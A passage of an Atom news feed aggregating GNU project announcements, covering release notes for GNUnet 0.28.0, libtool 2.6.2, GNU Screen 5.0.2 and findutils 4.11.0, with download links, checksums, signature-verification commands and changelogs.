   &lt;li&gt;
    &lt;a href=&quot;https://ftpmirror.gnu.org/gnunet/gnunet-0.28.0.tar.gz&quot;&gt;
     gnunet-0.28.0.tar.gz
    &lt;/a&gt;
    (
    &lt;a href=&quot;https://ftpmirror.gnu.org/gnunet/gnunet-0.28.0.tar.gz.sig&quot;&gt;
     signature
    &lt;/a&gt;
    )
   &lt;/li&gt;
   
   &lt;p&gt;
    The GPG key used to sign is:
    &lt;a href=&quot;https://www.gnunet.org/~schanzen/3D11063C10F98D14BD24D1470B0998EF86F59B6A&quot;&gt;
     3D11063C10F98D14BD24D1470B0998EF86F59B6A
    &lt;/a&gt;
   &lt;/p&gt;
   &lt;p&gt;
    Note that due to mirror synchronization, not all links might be functional
  early after the release. For direct access try
    &lt;a href=&quot;http://ftp.gnu.org/gnu/gnunet/&quot;&gt;
     http://ftp.gnu.org/gnu/gnunet/
    &lt;/a&gt;
   &lt;/p&gt;
   &lt;h4&gt;
    Changes
   &lt;/h4&gt;
   &lt;p&gt;
    A detailed list of changes can be found in the git log, the NEWS.
   &lt;/p&gt;
   &lt;h4&gt;
    Known Issues
   &lt;/h4&gt;
   &lt;ul&gt;
    &lt;li&gt;
     There are known major issues with the TRANSPORT subsystem.
    &lt;/li&gt;
    &lt;li&gt;
     There are known moderate implementation limitations in CADET that negatively impact performance.
    &lt;/li&gt;
    &lt;li&gt;
     There are known moderate design issues in FS that also impact usability and performance.
    &lt;/li&gt;
    &lt;li&gt;
     There are minor implementation limitations in SET that create unnecessary attack surface for availability.
    &lt;/li&gt;
    &lt;li&gt;
     The RPS subsystem remains experimental.
    &lt;/li&gt;
   &lt;/ul&gt;
   &lt;p&gt;
    In addition to this list, you may also want to consult our bug tracker at
    &lt;a href=&quot;https://bugs.gnunet.org/&quot;&gt;
     bugs.gnunet.org
    &lt;/a&gt;
    which lists about 190 more specific issues.
   &lt;/p&gt;
   &lt;h4&gt;
    Thanks
   &lt;/h4&gt;
   &lt;p&gt;
    This release was the work of many people. The following people contributed code and were thus easily identified:
Christian Grothoff, Florian Dold, TheJackiMonster, and Martin Schanzenbach.
   &lt;/p&gt;
   
  &lt;/ul&gt;
 
&lt;/article&gt;</content>
	<author>
	  <name>GNUnet News</name>
	   <uri>https://gnunet.org//</uri> 
	</author>
	<source>
	  <title type="html">GNUnet.org</title>
	  <subtitle type="html">News posts published by GNUnet about changes related to GNUnet, releases, and events</subtitle>
	  <link rel="self" href="https://gnunet.org/en/rss.xml"/>
	  <id>https://gnunet.org//</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">libtool-2.6.2 released [stable]</title>
	<link href="https://savannah.gnu.org/news/?id=10914"/>
	<id>https://savannah.gnu.org/news/?id=10914</id>
	<updated>2026-07-16T16:47:44+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;Libtoolers!
&lt;br /&gt;

&lt;br /&gt;
The Libtool Team is pleased to announce the release of libtool 2.6.2.
&lt;br /&gt;

&lt;br /&gt;
GNU Libtool hides the complexity of using shared libraries behind a
&lt;br /&gt;
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
&lt;br /&gt;
hides the complexity of loading dynamic runtime libraries (modules)
&lt;br /&gt;
behind a consistent, portable interface.
&lt;br /&gt;

&lt;br /&gt;
See the NEWS below for a brief summary.
&lt;br /&gt;

&lt;br /&gt;
Thanks to everyone who has contributed!
&lt;br /&gt;
The following people contributed changes to this release:
&lt;br /&gt;

&lt;br /&gt;
libtool 2.6.2 [stable]:
&lt;br /&gt;
  Ileana Dumitrescu (4)
&lt;br /&gt;

&lt;br /&gt;
libtool 2.6.1 [beta]:
&lt;br /&gt;
  Alexandre Janniaux (4)
&lt;br /&gt;
  Alexey Samsonov (1)
&lt;br /&gt;
  Anthony Mallet (1)
&lt;br /&gt;
  Arnold (1)
&lt;br /&gt;
  Dima Pasechnik (1)
&lt;br /&gt;
  Frederic Berat (1)
&lt;br /&gt;
  Ileana Dumitrescu (15)
&lt;br /&gt;
  KO Myung-Hun (4)
&lt;br /&gt;
  Kirill Makurin (1)
&lt;br /&gt;
  Mintsuki (1)
&lt;br /&gt;
  Nicolas Boulenguez (1)
&lt;br /&gt;
  Olly Betts (1)
&lt;br /&gt;
  Patrice Dumas (1)
&lt;br /&gt;
  Richard J. Mathar (1)
&lt;br /&gt;

&lt;br /&gt;
libtool 2.6.0 [alpha]:
&lt;br /&gt;
  Anthony Mallet (1)
&lt;br /&gt;
  Bruno Haible (2)
&lt;br /&gt;
  Christian Feld (1)
&lt;br /&gt;
  Collin Funk (1)
&lt;br /&gt;
  Elizabeth Figura (1)
&lt;br /&gt;
  Evgeny Grin (1)
&lt;br /&gt;
  Frédéric Bérat (1)
&lt;br /&gt;
  Gleb Popov (1)
&lt;br /&gt;
  Ileana Dumitrescu (47)
&lt;br /&gt;
  Julien ÉLIE (1)
&lt;br /&gt;
  Karl Berry (1)
&lt;br /&gt;
  Kirill Makurin (1)
&lt;br /&gt;
  Manoj Gupta (1)
&lt;br /&gt;
  Martin Storsjö (1)
&lt;br /&gt;
  Michael Haubenwallner (2)
&lt;br /&gt;
  Mintsuki (1)
&lt;br /&gt;
  Mitch (1)
&lt;br /&gt;
  Pierre Ossman (2)
&lt;br /&gt;
  Takashi Yano (1)
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
Ileana
&lt;br /&gt;
 [on behalf of the libtool maintainers]
&lt;br /&gt;
==================================================================
&lt;br /&gt;

&lt;br /&gt;
Here is the GNU libtool home page:
&lt;br /&gt;
    &lt;a href=&quot;https://gnu.org/s/libtool/&quot;&gt;https://gnu. ... g/s/libtool/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources:
&lt;br /&gt;
  &lt;a href=&quot;https://ftpmirror.gnu.org/libtool/libtool-2.6.2.tar.gz&quot;&gt;https://ftpmirror ... tool-2.6.2.tar.gz&lt;/a&gt;   (2.1MB)
&lt;br /&gt;
  &lt;a href=&quot;https://ftpmirror.gnu.org/libtool/libtool-2.6.2.tar.xz&quot;&gt;https://ftpmirror ... tool-2.6.2.tar.xz&lt;/a&gt;   (1.1MB)
&lt;br /&gt;

&lt;br /&gt;
Here are the GPG detached signatures:
&lt;br /&gt;
  &lt;a href=&quot;https://ftpmirror.gnu.org/libtool/libtool-2.6.2.tar.gz.sig&quot;&gt;https://ftpmirror ... -2.6.2.tar.gz.sig&lt;/a&gt;
&lt;br /&gt;
  &lt;a href=&quot;https://ftpmirror.gnu.org/libtool/libtool-2.6.2.tar.xz.sig&quot;&gt;https://ftpmirror ... -2.6.2.tar.xz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
  &lt;a href=&quot;https://www.gnu.org/order/ftp.html&quot;&gt;https://www.gnu.o ... rg/order/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:
&lt;br /&gt;

&lt;br /&gt;
  File: libtool-2.6.2.tar.gz
&lt;br /&gt;
  SHA256 sum:   24adb3aa9ae035c70faba344af57d73215eb89281045af6c7ccd307751f8b0bf
&lt;br /&gt;
  SHA3-256 sum: b0e77c0dc9a082830c95d182da77747d1f5435a06132feefd5054bfde2c9da81
&lt;br /&gt;

&lt;br /&gt;
  File: libtool-2.6.2.tar.xz
&lt;br /&gt;
  SHA256 sum:   2ef1067c16c97db930fd740cc9bc3d3ba9a583804ae5ac42cc3e8719e49e191e
&lt;br /&gt;
  SHA3-256 sum: c24b9995af8391a310a258dcb98897f92d86f47acca235f3d2859ca0ed1d9dd0
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA256 checksum with either sha256sum, sha256, or
&lt;br /&gt;
&#39;shasum -a 256&#39;.
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA3-256 checksum with &#39;cksum -a sha3 -l 256 --base64&#39;
&lt;br /&gt;
from coreutils-9.8.
&lt;br /&gt;

&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the
&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file
&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
  gpg --verify libtool-2.6.2.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
The signature should match the fingerprint of the following key:
&lt;br /&gt;

&lt;br /&gt;
  pub   rsa4096 2021-09-23 [SC]
&lt;br /&gt;
        FA26 CA78 4BE1 8892 7F22  B99F 6570 EA01 146F 7354
&lt;br /&gt;
  uid   Ileana Dumitrescu &amp;lt;ileanadumitrescu95@gmail.com&amp;gt;
&lt;br /&gt;
  uid   Ileana Dumitrescu &amp;lt;ileanadumi95@protonmail.com&amp;gt;
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don&#39;t have the required public key,
&lt;br /&gt;
or that public key has expired, try the following commands to retrieve
&lt;br /&gt;
or refresh it, and then rerun the &#39;gpg --verify&#39; command.
&lt;br /&gt;

&lt;br /&gt;
  gpg --locate-external-key &lt;a href=&quot;mailto:ileanadumitrescu95@gmail.com&quot;&gt;ileanadumitrescu95@gmail.com&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
  gpg --recv-keys 6570EA01146F7354
&lt;br /&gt;

&lt;br /&gt;
  wget -q -O- &#39;&lt;a href=&quot;https://savannah.gnu.org/project/release-gpgkeys.php?group=libtool&amp;amp;download=1&quot;&gt;https://savannah. ... ol&amp;amp;download=1&lt;/a&gt;&#39; | gpg --import -
&lt;br /&gt;

&lt;br /&gt;
As a last resort to find the key, you can try the official GNU
&lt;br /&gt;
keyring:
&lt;br /&gt;

&lt;br /&gt;
  wget -q &lt;a href=&quot;https://ftp.gnu.org/gnu/gnu-keyring.gpg&quot;&gt;https://ftp.gnu.o ... u/gnu-keyring.gpg&lt;/a&gt;
&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify libtool-2.6.2.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
This release is based on the libtool git repository, available as
&lt;br /&gt;

&lt;br /&gt;
  git clone &lt;a href=&quot;https://https.git.savannah.gnu.org/git/libtool.git&quot;&gt;https://https.git ... g/git/libtool.git&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
with commit 309bb53a8adfb22c6e5869cc8da049bf123e5438 tagged as v2.6.2.
&lt;br /&gt;

&lt;br /&gt;
For a summary of changes and contributors, see:
&lt;br /&gt;

&lt;br /&gt;
  &lt;a href=&quot;https://gitweb.git.savannah.gnu.org/gitweb/?p=libtool.git;a=shortlog;h=v2.6.2&quot;&gt;https://gitweb.gi ... shortlog;h=v2.6.2&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or run this command from a git-cloned libtool directory:
&lt;br /&gt;

&lt;br /&gt;
  git shortlog v2.6.1..v2.6.2
&lt;br /&gt;

&lt;br /&gt;
This release was bootstrapped with the following tools:
&lt;br /&gt;
  Autoconf 2.73
&lt;br /&gt;
  Automake 1.18.1
&lt;br /&gt;
  Gnulib 2026-07-03 491f1bb7d3049f3ab7825f3ee665c209658e9965
&lt;br /&gt;

&lt;br /&gt;
NEWS
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 2.6.2 (2026-07-16) [stable]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
  Please see beta release 2.6.1 and alpha release 2.6.0 for a list of
&lt;br /&gt;
  release changes.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 2.6.1 (2026-06-04) [beta]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
** New features:
&lt;br /&gt;

&lt;br /&gt;
  - Pass &#39;resource-dir=*&#39; flag for Clang.
&lt;br /&gt;

&lt;br /&gt;
  - Recognise explicit shared library arguments when linking dependency
&lt;br /&gt;
    libraries to a shared library, like exists when linking a program.
&lt;br /&gt;

&lt;br /&gt;
  - Support OpenMP with macOS clang by processing &#39;-Xpreprocessor
&lt;br /&gt;
    -fopenmp&#39; as one token.
&lt;br /&gt;

&lt;br /&gt;
** Bug fixes:
&lt;br /&gt;

&lt;br /&gt;
  - Store cygpath file path conversions correctly for MSYS2 and MSVC.
&lt;br /&gt;

&lt;br /&gt;
  - Fix syntax error in LT_PROG_OBJC and LT_PROG_OBJCXX.
&lt;br /&gt;

&lt;br /&gt;
  - Separate Objective C and C++ cache check for proper tagging support.
&lt;br /&gt;

&lt;br /&gt;
  - Fix in darwin to support values with spaces.
&lt;br /&gt;

&lt;br /&gt;
  - Limit the length of DLL name to 8.3 correctly to avoid corrupting a
&lt;br /&gt;
    generated DLL on OS/2.
&lt;br /&gt;

&lt;br /&gt;
  - Remove unused variable on OS/2, which could cause issues with static
&lt;br /&gt;
    library generation if defined.
&lt;br /&gt;

&lt;br /&gt;
  - Recognise more static linking options for Clang.
&lt;br /&gt;

&lt;br /&gt;
  - Fix emscripten CXX postdeps using non-PIC sysroot.
&lt;br /&gt;

&lt;br /&gt;
  - Avoid deprecated option &#39;-o&#39; with MSVC compilers and replace with &#39;-Fe&#39;.
&lt;br /&gt;

&lt;br /&gt;
  - Avoid overlinking of dependency libraries on ELF systems.
&lt;br /&gt;

&lt;br /&gt;
  - Ensure old libraries are not archived.
&lt;br /&gt;

&lt;br /&gt;
** Changes in supported systems or compilers:
&lt;br /&gt;

&lt;br /&gt;
  - Add support for SlimCC compiler.
&lt;br /&gt;

&lt;br /&gt;
  - Add support for *-ironclad-gnu.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 2.6.0 (2025-09-18) [alpha]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
** New features:
&lt;br /&gt;

&lt;br /&gt;
  - Add a new tool, libtool-next-version, to guide users through updating
&lt;br /&gt;
    library versions.
&lt;br /&gt;

&lt;br /&gt;
  - Add tagging for Objective-C and Objective-C++, OBJC and OBJCXX.
&lt;br /&gt;

&lt;br /&gt;
  - Increase 5 digit limit on revision value for libraries to 19 digits,
&lt;br /&gt;
    which is referencing Unix epoch time in nanoseconds.
&lt;br /&gt;

&lt;br /&gt;
  - Add configuration options to choose whether to use &#39;-nostdlib&#39; to let
&lt;br /&gt;
    the compiler frontend decide what standard libraries to link when
&lt;br /&gt;
    building C++ shared libraries and modules, --enable-cxx-stdlib and
&lt;br /&gt;
    --disable-cxx-stdlib.
&lt;br /&gt;

&lt;br /&gt;
  - Allow statically linking GCC and Clang compiler support libraries
&lt;br /&gt;
    into shared libraries.
&lt;br /&gt;

&lt;br /&gt;
  - Add linking clang_rt static archives compiler internal libraries by
&lt;br /&gt;
    their absolute path.
&lt;br /&gt;

&lt;br /&gt;
  - Set &#39;mklink&#39; as the symlinking tool for MSVC.
&lt;br /&gt;

&lt;br /&gt;
  - Pass &#39;--target&#39; architecture flag for Clang.
&lt;br /&gt;

&lt;br /&gt;
  - Support MSYS and MSYS2 file path conversions.
&lt;br /&gt;

&lt;br /&gt;
** Bug fixes:
&lt;br /&gt;

&lt;br /&gt;
  - Fix wrongly deduplicated compiler dependencies on linux.
&lt;br /&gt;

&lt;br /&gt;
  - Fix NetBSD postdeps for shared libraries.
&lt;br /&gt;

&lt;br /&gt;
  - Fix statically linking dependencies into shared C++ libraries when
&lt;br /&gt;
    utilizing clang builtins or g++ options like, -static-libstdc++, by
&lt;br /&gt;
    using a new configuration option, --enable-cxx-stdlib.
&lt;br /&gt;

&lt;br /&gt;
  - Ensure *-linux-mlibc host matches to mlibc userland rather than
&lt;br /&gt;
    matching to GNU/Linux and similar userlands.
&lt;br /&gt;

&lt;br /&gt;
  - Fix hang with cmd.exe in MSYS.
&lt;br /&gt;

&lt;br /&gt;
  - For MSVC, fix mishandling compiler flags, symlinking, cl.exe &#39;.exp&#39;
&lt;br /&gt;
    extension collision, symbol names, and numerous testsuite bugs.
&lt;br /&gt;

&lt;br /&gt;
  - Fix undeclared reference to access on Windows in libltdl.
&lt;br /&gt;

&lt;br /&gt;
  - Fix flang -Wl flags on FreeBSD.
&lt;br /&gt;

&lt;br /&gt;
  - Fix reordering &#39;--as-needed&#39; flag.
&lt;br /&gt;

&lt;br /&gt;
  - Fix libltdl early failures for multi-arch.
&lt;br /&gt;

&lt;br /&gt;
** Changes in supported systems or compilers:
&lt;br /&gt;

&lt;br /&gt;
  - Support additional Intel OneAPI compilers, &#39;icx&#39;, &#39;icpx&#39;, and &#39;ifx&#39;.
&lt;br /&gt;

&lt;br /&gt;
  - Support ML64 (Microsoft Macro Assembler).
&lt;br /&gt;

&lt;br /&gt;
Enjoy!&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Ileana Dumitrescu</name>
	   <uri>https://savannah.gnu.org/projects/libtool</uri> 
	</author>
	<source>
	  <title type="html">GNU Libtool - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dlibtool"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=libtool</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Taler lecture at Cedarcrypt 2026</title>
	<link href="https://taler.net/en/news/2026-06.html"/>
	<id>https://taler.net/en/news/2026-06.html</id>
	<updated>2026-07-15T22:00:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;article&gt;
             by Özgür Kesim
           &lt;/article&gt;</content>
	<author>
	  <name>GNU Taler news</name>
	   <uri>https://taler.net//</uri> 
	</author>
	<source>
	  <title type="html">Taler.net</title>
	  <subtitle type="html">News posts published by Taler about changes related to Taler, releases and events</subtitle>
	  <link rel="self" href="https://taler.net/en/rss.xml"/>
	  <id>https://taler.net//</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU Screen v.5.0.2 is released</title>
	<link href="https://savannah.gnu.org/news/?id=10913"/>
	<id>https://savannah.gnu.org/news/?id=10913</id>
	<updated>2026-07-12T22:36:01+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;Hi everyone,
&lt;br /&gt;
I&#39;m glad to announce the new release of GNU screen.
&lt;br /&gt;

&lt;br /&gt;
Screen is a full-screen window manager that multiplexes a physical terminal between several processes, typically interactive shells.
&lt;br /&gt;

&lt;br /&gt;
The 5.0.2 release includes the following changes to the previous release 5.0.1:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add %* escape to output caret character literal (&quot;^&quot;)
&lt;/li&gt;
&lt;li&gt;Add portable PAM conversation callback prototype (for Solaris)
&lt;/li&gt;
&lt;li&gt;Fixes:
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; - type on big-endian systems
&lt;br /&gt;
 - UTF-8 combining sequences
&lt;br /&gt;
 - buffer overflow in SendCmdMessage()
&lt;br /&gt;
 - detaching fail with empty terminfo and leave the session attached
&lt;br /&gt;
 - eliminates the TOCTOU race
&lt;br /&gt;
 - manpage fixes
&lt;br /&gt;

&lt;br /&gt;
Release (official tarball) will be available soon for download:
&lt;br /&gt;
&lt;a href=&quot;https://ftp.gnu.org/gnu/screen/&quot;&gt;https://ftp.gn ... rg/gnu/screen/&lt;/a&gt;
&lt;br /&gt;
Please report any bugs or regressions.
&lt;br /&gt;
Thanks to everyone who contributed to this release.
&lt;br /&gt;

&lt;br /&gt;
Cheers,
&lt;br /&gt;
Alex&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Alexander Naumov</name>
	   <uri>https://savannah.gnu.org/projects/screen</uri> 
	</author>
	<source>
	  <title type="html">GNU Screen - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dscreen"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=screen</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU findutils 4.11.0 released</title>
	<link href="https://savannah.gnu.org/news/?id=10912"/>
	<id>https://savannah.gnu.org/news/?id=10912</id>
	<updated>2026-07-11T09:52:44+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;This is to announce findutils-4.11.0, a stable release.
&lt;br /&gt;

&lt;br /&gt;
This release follows the recent POSIX (IEEE Std 1003.1-2024) changes,
&lt;br /&gt;
especially to mention the new behavior of &#39;find -mount&#39; vs. &#39;find -xdev&#39;,
&lt;br /&gt;
as well as a lot of documentation improvements.
&lt;br /&gt;

&lt;br /&gt;
See the NEWS below for more details.
&lt;br /&gt;

&lt;br /&gt;
GNU findutils is a set of software tools for finding files that match
&lt;br /&gt;
certain criteria and for performing various operations on them.
&lt;br /&gt;
Findutils includes the programs &quot;find&quot;, &quot;xargs&quot; and &quot;locate&quot;.
&lt;br /&gt;
More information about findutils is available at:
&lt;br /&gt;
     &lt;a href=&quot;https://www.gnu.org/software/findutils/&quot;&gt;https://www.gnu.o ... ftware/findutils/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Please report bugs and problems with this release via the the
&lt;br /&gt;
GNU Savannah bug tracker:
&lt;br /&gt;
     &lt;a href=&quot;https://savannah.gnu.org/bugs/?group=findutils&quot;&gt;https://savannah. ... /?group=findutils&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Please send general comments and feedback about the GNU findutils
&lt;br /&gt;
package to the mailing list (&amp;lt;mailto:bug-findutils@gnu.org):
&lt;br /&gt;
     &lt;a href=&quot;https://lists.gnu.org/mailman/listinfo/bug-findutils&quot;&gt;https://lists.gnu ... nfo/bug-findutils&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
There have been 186 commits by 10 people in the - sigh - 25 months since 4.10.0:
&lt;br /&gt;
     Bernhard Voelker (77)         Bjarni Ingi Gislason (1)
&lt;br /&gt;
     Christoph Anton Mitterer (1)  Collin Funk (5)
&lt;br /&gt;
     Dave (1)                      G. Branden Robinson (42)
&lt;br /&gt;
     James Youngman (55)           Luk303241305241 Zaoral (1)
&lt;br /&gt;
     danny mcClanahan (1)          raf (2)
&lt;br /&gt;

&lt;br /&gt;
This release was bootstrapped with the following tools:
&lt;br /&gt;
      Autoconf 2.72
&lt;br /&gt;
      Automake 1.17
&lt;br /&gt;
      M4 1.4.19
&lt;br /&gt;
      Gnulib v1.0-3131-ga575239e47
&lt;br /&gt;

&lt;br /&gt;
Please consider supporting the Free Software Foundation in its fund
&lt;br /&gt;
raising appeal; see &amp;lt;&lt;a href=&quot;https://www.fsf.org/appeal/&quot;&gt;https://www. ... .org/appeal/&lt;/a&gt;&amp;gt;.
&lt;br /&gt;

&lt;br /&gt;
Thanks to everyone who has contributed!
&lt;br /&gt;

&lt;br /&gt;
Have a nice day,
&lt;br /&gt;
Bernhard Voelker &amp;amp; James Youngman [on behalf of the GNU findutils maintainers]
&lt;br /&gt;

&lt;br /&gt;
================================================================================
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources:
&lt;br /&gt;
     &lt;a href=&quot;https://ftp.gnu.org/pub/gnu/findutils/findutils-4.11.0.tar.xz&quot;&gt;https://ftp.gnu.o ... ils-4.11.0.tar.xz&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the GPG detached signatures[*]:
&lt;br /&gt;
     &lt;a href=&quot;https://ftp.gnu.org/pub/gnu/findutils/findutils-4.11.0.tar.xz.sig&quot;&gt;https://ftp.gnu.o ... 4.11.0.tar.xz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
     &lt;a href=&quot;http://www.gnu.org/order/ftp.html&quot;&gt;http://www.gnu. ... /order/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here is the SHA256 checksum:
&lt;br /&gt;

&lt;br /&gt;
     bfd19cb06cc71f3352d567e90284d8cdac02ac89774bbeadf0b533b0c11432fd  findutils-4.11.0.tar.xz
&lt;br /&gt;

&lt;br /&gt;
[*] Use a .sig file to verify that the corresponding file (without the
&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file
&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
gpg --verify findutils-4.11.0.tar.xz.sig
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don&#39;t have the required public key,
&lt;br /&gt;
then run this command to import it:
&lt;br /&gt;

&lt;br /&gt;
gpg --keyserver keys.gnupg.net --recv-keys 0CF4E8D871593224842832B888DD9E08C5DDACB9
&lt;br /&gt;

&lt;br /&gt;
and rerun the &#39;gpg --verify&#39; command.
&lt;br /&gt;

&lt;br /&gt;
================================================================================
&lt;br /&gt;

&lt;br /&gt;
NEWS
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 4.11.0 (2026-07-11) [stable]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
** Bug Fixes
&lt;br /&gt;

&lt;br /&gt;
   find no longer crashes when diagnosing a directory cycle (without a symlink
&lt;br /&gt;
   being involved pointing to a parent directory).
&lt;br /&gt;
   [Bug present since the FTS implementation.]
&lt;br /&gt;

&lt;br /&gt;
   &#39;find -used&#39; now behaves correctly on OpenBSD 7.8 with difftime(3) underflow
&lt;br /&gt;
   bug in the C library (already fixed there) when the access time of a file is
&lt;br /&gt;
   identical to its change time. [#68264]
&lt;br /&gt;

&lt;br /&gt;
   &#39;find -ignore_readdir_race&#39; now better handles races between FTS reading a
&lt;br /&gt;
   directory and visiting its entries when the file or directory was meanwhile
&lt;br /&gt;
   removed. [#45930]
&lt;br /&gt;

&lt;br /&gt;
   To fix a POSIX compatibility bug, -exec foo Z{} + is no longer a
&lt;br /&gt;
   complete predicate, because &#39;+&#39; is only a terminator when it follows
&lt;br /&gt;
   an argument which is exactly &#39;{}&#39;.  The findutils documentation
&lt;br /&gt;
   already states this, and now find&#39;s behaviour matches the
&lt;br /&gt;
   documentation. [#66365]
&lt;br /&gt;

&lt;br /&gt;
   &#39;updatedb.sh&#39; now properly handles the variables for the &#39;find&#39; and &#39;frcode&#39;
&lt;br /&gt;
   utilities, and hence avoids command injection.
&lt;br /&gt;

&lt;br /&gt;
** Changes in find
&lt;br /&gt;

&lt;br /&gt;
   As announced since the release of 4.7.0 (2019) and mandated by POSIX 2024,
&lt;br /&gt;
   the behaviour of the -mount option changed: while it was a mere alias for
&lt;br /&gt;
   the -xdev option to prevent descending into directories of another device,
&lt;br /&gt;
   the -mount option now makes find(1) ignore files on another device, i.e.,
&lt;br /&gt;
   &#39;find -mount&#39; will skip the entry of active mount points already.
&lt;br /&gt;
   Example, assuming the PROC filesystem is mounted on &#39;/proc&#39;:
&lt;br /&gt;
     $ find / -mount -path /proc -print
&lt;br /&gt;
     $ find / -xdev -path /proc -print
&lt;br /&gt;
     /proc
&lt;br /&gt;
   [#54745]
&lt;br /&gt;

&lt;br /&gt;
   The actions -execdir and -okdir now refuse the &#39;{}&#39; replacement in the zeroth
&lt;br /&gt;
   argument of the command to be run.  While POSIX allows this for -exec, this is
&lt;br /&gt;
   deemed insecure as an attacker could influence which files could be found.
&lt;br /&gt;

&lt;br /&gt;
   &#39;find -regex&#39; with the default or the &#39;emacs&#39; regextype now aligns better with
&lt;br /&gt;
   Emacs behaviour, and therefore e.g. supports character classes:
&lt;br /&gt;
     $ touch 123 &amp;amp;&amp;amp; find -regex &#39;./12[[:digit:]]&#39;
&lt;br /&gt;
     ./123
&lt;br /&gt;

&lt;br /&gt;
   find now issues a warning when the punctuation operators &#39;(&#39;, &#39;)&#39;, &#39;!&#39; and &#39;,&#39;
&lt;br /&gt;
   are passed with a leading dash, e.g. &#39;-!&#39;.  Future releases will not accept
&lt;br /&gt;
   that any more.  Accepting that was rather a bug &quot;since the beginning&quot;.
&lt;br /&gt;

&lt;br /&gt;
** Improvements
&lt;br /&gt;

&lt;br /&gt;
   xargs now gives a better error diagnostic when executing the given command
&lt;br /&gt;
   failed.
&lt;br /&gt;

&lt;br /&gt;
** Documentation Changes
&lt;br /&gt;

&lt;br /&gt;
   The most recent version of the POSIX standard (IEEE Std 1003.1-2024,
&lt;br /&gt;
   also known as The Open Group Base Specifications, Issue 8) has
&lt;br /&gt;
   standardised &quot;find -print0&quot; and &quot;xargs -0&quot;.  Our documentation now
&lt;br /&gt;
   points this out.  Similarly for &#39;find -iname&#39;.
&lt;br /&gt;

&lt;br /&gt;
   The code example for &quot;Finding the Shallowest Instance&quot; in the Texinfo manual
&lt;br /&gt;
   and the corresponding one in the EXAMPLES section in the find.1 man page have
&lt;br /&gt;
   been fixed.  [#62259]
&lt;br /&gt;

&lt;br /&gt;
   Translators contributed numerous fixes for issues in the find.1 man page.
&lt;br /&gt;

&lt;br /&gt;
   The list of actions that suppress the default -print action has been
&lt;br /&gt;
   supplemented with the missing &#39;-print0&#39; and &#39;-fprint0&#39; actions.
&lt;br /&gt;

&lt;br /&gt;
   The manual pages have been updated to give better and/or more
&lt;br /&gt;
   consistent output with manpage formatters other than GNU roff.
&lt;br /&gt;

&lt;br /&gt;
** Translations
&lt;br /&gt;

&lt;br /&gt;
   Updated the following translations:
&lt;br /&gt;
   Arabic, Brazilian Portuguese, Bulgarian, Chinese (simplified), Croatian,
&lt;br /&gt;
   Czech, Dutch, Estonian, French, German, Indonesian, Korean, Polish,
&lt;br /&gt;
